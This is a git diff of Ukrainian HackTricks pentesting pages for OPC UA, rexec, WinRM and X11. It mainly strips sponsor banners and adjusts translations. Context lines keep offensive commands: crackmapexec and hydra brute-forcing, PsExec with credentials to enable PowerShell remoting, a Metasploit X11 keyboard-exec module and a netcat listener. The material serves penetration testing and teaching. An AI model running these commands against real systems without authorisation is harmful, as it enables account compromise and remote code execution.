src/network-services-pentesting/4840-pentesting-opc-ua.md
View File

@ -2,19 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищувати привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Основна інформація
**OPC UA**, що означає **Open Platform Communications Unified Access**, є важливим відкритим протоколом, що використовується в різних галузях, таких як виробництво, енергетика, аерокосмічна промисловість та оборона для обміну даними та контролю обладнання. Він унікально дозволяє обладнанню різних постачальників спілкуватися, особливо з PLC.
**OPC UA**, що означає **Open Platform Communications Unified Access**, є важливим відкритим протоколом, який використовується в різних галузях, таких як виробництво, енергетика, аерокосмічна промисловість та оборона для обміну даними та контролю обладнання. Він унікально дозволяє обладнанню різних постачальників спілкуватися, особливо з PLC.
Його конфігурація дозволяє застосовувати сильні заходи безпеки, але часто, для сумісності зі старими пристроями, ці заходи зменшуються, що піддає системи ризикам. Крім того, знайти служби OPC UA може бути складно, оскільки мережеві сканери можуть їх не виявити, якщо вони знаходяться на нестандартних портах.
Його конфігурація дозволяє застосовувати сильні заходи безпеки, але часто, для сумісності зі старими пристроями, ці заходи зменшуються, що піддає системи ризикам. Крім того, знайти послуги OPC UA може бути складно, оскільки мережеві сканери можуть їх не виявити, якщо вони знаходяться на нестандартних портах.
**Порт за замовчуванням:** 4840
```text
@ -41,12 +33,5 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
- [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

18
src/network-services-pentesting/512-pentesting-rexec.md
View File

@ -2,31 +2,17 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищувати привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Основна інформація
Це сервіс, який **дозволяє вам виконувати команду всередині хоста**, якщо ви знаєте дійсні **облікові дані** (ім'я користувача та пароль).
Це сервіс, який **дозволяє вам виконати команду всередині хоста**, якщо ви знаєте дійсні **облікові дані** (ім'я користувача та пароль).
**Порт за замовчуванням:** 512
```
PORT STATE SERVICE
512/tcp open exec
```
### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
### [**Брутфорс**](../generic-hacking/brute-force.md#rexec)
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

61
src/network-services-pentesting/5985-5986-pentesting-winrm.md
View File

@ -2,21 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Hacking Insights**\
Залучайтеся до контенту, який занурюється у захоплення та виклики хакерства
**Real-Time Hack News**\
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
**Latest Announcements**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) підкреслюється як **протокол від Microsoft**, який дозволяє **віддалене управління системами Windows** через HTTP(S), використовуючи SOAP у процесі. Він в основному працює на базі WMI, представляючи собою HTTP-інтерфейс для операцій WMI.
@ -26,7 +11,7 @@
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
Відкритий порт зі списку вище свідчить про те, що WinRM було налаштовано, що дозволяє спроби ініціювати віддалену сесію.
Відкритий порт зі списку вище означає, що WinRM було налаштовано, що дозволяє спроби ініціювати віддалену сесію.
### **Ініціювання сесії WinRM**
@ -41,11 +26,11 @@ Set-Item wsman:\localhost\client\trustedhosts *
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Цей метод дозволяє віддалено налаштувати WinRM, підвищуючи гнучкість у керуванні Windows-машинами з відстані.
Цей метод дозволяє віддалено налаштувати WinRM, підвищуючи гнучкість в управлінні Windows-машинами з відстані.
### Перевірте, чи налаштовано
Щоб перевірити налаштування вашої атакуючої машини, використовується команда `Test-WSMan`, щоб перевірити, чи правильно налаштовано WinRM на цільовій машині. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішну конфігурацію. Нижче наведені приклади, що демонструють очікуваний вихід для налаштованої цілі в порівнянні з неналаштованою:
Щоб перевірити налаштування вашої атакуючої машини, використовується команда `Test-WSMan`, щоб перевірити, чи правильно налаштовано WinRM на цілі. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішну конфігурацію. Нижче наведені приклади, що демонструють очікуваний вихід для налаштованої цілі в порівнянні з неналаштованою:
- Для цілі, яка **налаштована** правильно, вихід виглядатиме приблизно так:
```bash
@ -104,7 +89,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **Примусове відкриття WinRM**
Щоб використовувати PS Remoting та WinRM, але комп'ютер не налаштований, ви можете активувати його за допомогою:
Щоб використовувати PS Remoting та WinRM, але комп'ютер не налаштований, ви можете увімкнути його за допомогою:
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
@ -137,26 +122,11 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
## WinRM з'єднання в Linux
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
### Брутфорс
**Hacking Insights**\
Залучайтеся до контенту, який занурюється в захоплення та виклики хакерства
**Real-Time Hack News**\
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
**Latest Announcements**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформи
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
## WinRM connection in linux
### Brute Force
Будьте обережні, брутфорсинг winrm може заблокувати користувачів.
Будьте обережні, брутфорс winrm може заблокувати користувачів.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -190,7 +160,7 @@ docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Використання скрипта на Ruby
### Використання скрипта на ruby
**Код витягнуто з тут:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
```ruby
@ -291,19 +261,4 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Інсайти з хакінгу**\
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
**Новини про хакінг у реальному часі**\
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
**Останні оголошення**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
{{#include ../banners/hacktricks-training.md}}

38
src/network-services-pentesting/6000-pentesting-x11.md
View File

@ -2,26 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
## Основна інформація
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**X Window System** (X) є універсальною системою вікон, що поширена на операційних системах на базі UNIX. Вона надає структуру для створення графічних **інтерфейсів користувача (GUIs)**, при цьому окремі програми займаються дизайном інтерфейсу користувача. Ця гнучкість дозволяє створювати різноманітні та налаштовувані враження в середовищі X.
**Hacking Insights**\
Залучайтеся до контенту, який занурюється у захоплення та виклики хакерства
**Real-Time Hack News**\
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
**Latest Announcements**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
## Basic Information
**X Window System** (X) - це універсальна система вікон, що поширена на операційних системах на базі UNIX. Вона надає структуру для створення графічних **user interfaces (GUIs)**, де окремі програми займаються дизайном інтерфейсу. Ця гнучкість дозволяє створювати різноманітні та налаштовувані враження в середовищі X.
**Default port:** 6000
**Порт за замовчуванням:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
@ -119,7 +104,7 @@ Corners: +0+0 -0+0 -0-0 +0-0
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Отримати Shell
## Отримати оболонку
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
@ -145,19 +130,4 @@ nc -lvp 5555
- `port:6000 x11`
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за баґами!
**Hacking Insights**\
Залучайтеся до контенту, який занурюється у захоплення та виклики хакерства
**Real-Time Hack News**\
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
**Останні оголошення**\
Будьте в курсі нових баґ-баунті та важливих оновлень платформ
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More